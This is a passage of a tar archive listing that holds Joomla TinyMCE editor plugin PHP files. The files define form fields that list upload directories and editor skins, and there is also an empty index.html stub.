 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldUploaddirs extends JFormFieldFolderList
{
	protected $type = 'uploaddirs';

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.7.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		// Get the path in which to search for file options.
		$this->directory   = JComponentHelper::getParams('com_media')->get('image_path');
		$this->recursive   = true;
		$this->hideDefault = true;

		return $return;
	}

	/**
	 * Method to get the directories options.
	 *
	 * @return  array  The dirs option objects.
	 *
	 * @since   3.7.0
	 */
	public function getOptions()
	{
		return parent::getOptions();
	}

	/**
	 * Method to get the field input markup for the list of directories.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		$html = array();

		// Get the field options.
		$options = (array) $this->getOptions();

		// Reset the non selected value to null
		if ($options[0]->value === '-1')
		{
			$options[0]->value = '';
		}

		// Create a regular list.
		$html[] = JHtml::_('select.genericlist', $options, $this->name, '', 'value', 'text', $this->value, $this->id);

		return implode($html);
	}
}
                                                                                                                                                        editors/tinymce/field/skins.php                                                                     0000705                 00000002740 15242051521 0012606 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.form.helper');

JFormHelper::loadFieldClass('list');

/**
 * Generates the list of options for available skins.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.4
 */
class JFormFieldSkins extends JFormFieldList
{
	protected $type = 'skins';

	/**
	 * Method to get the skins options.
	 *
	 * @return  array  The skins option objects.
	 *
	 * @since   3.4
	 */
	public function getOptions()
	{
		$options = array();

		$directories = glob(JPATH_ROOT . '/media/editors/tinymce/skins' . '/*', GLOB_ONLYDIR);

		for ($i = 0, $iMax = count($directories); $i < $iMax; ++$i)
		{
			$dir = basename($directories[$i]);
			$options[] = JHtml::_('select.option', $i, $dir);
		}

		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}

	/**
	 * Method to get the field input markup for the list of skins.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.4
	 */
	protected function getInput()
	{
		$html = array();

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a regular list.
		$html[] = JHtml::_('select.genericlist', $options, $this->name, '', 'value', 'text', $this->value, $this->id);

		return implode($html);
	}
}
                                editors/tinymce/index.html                                                                          0000705                 00000000037 15242051521 0011655 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 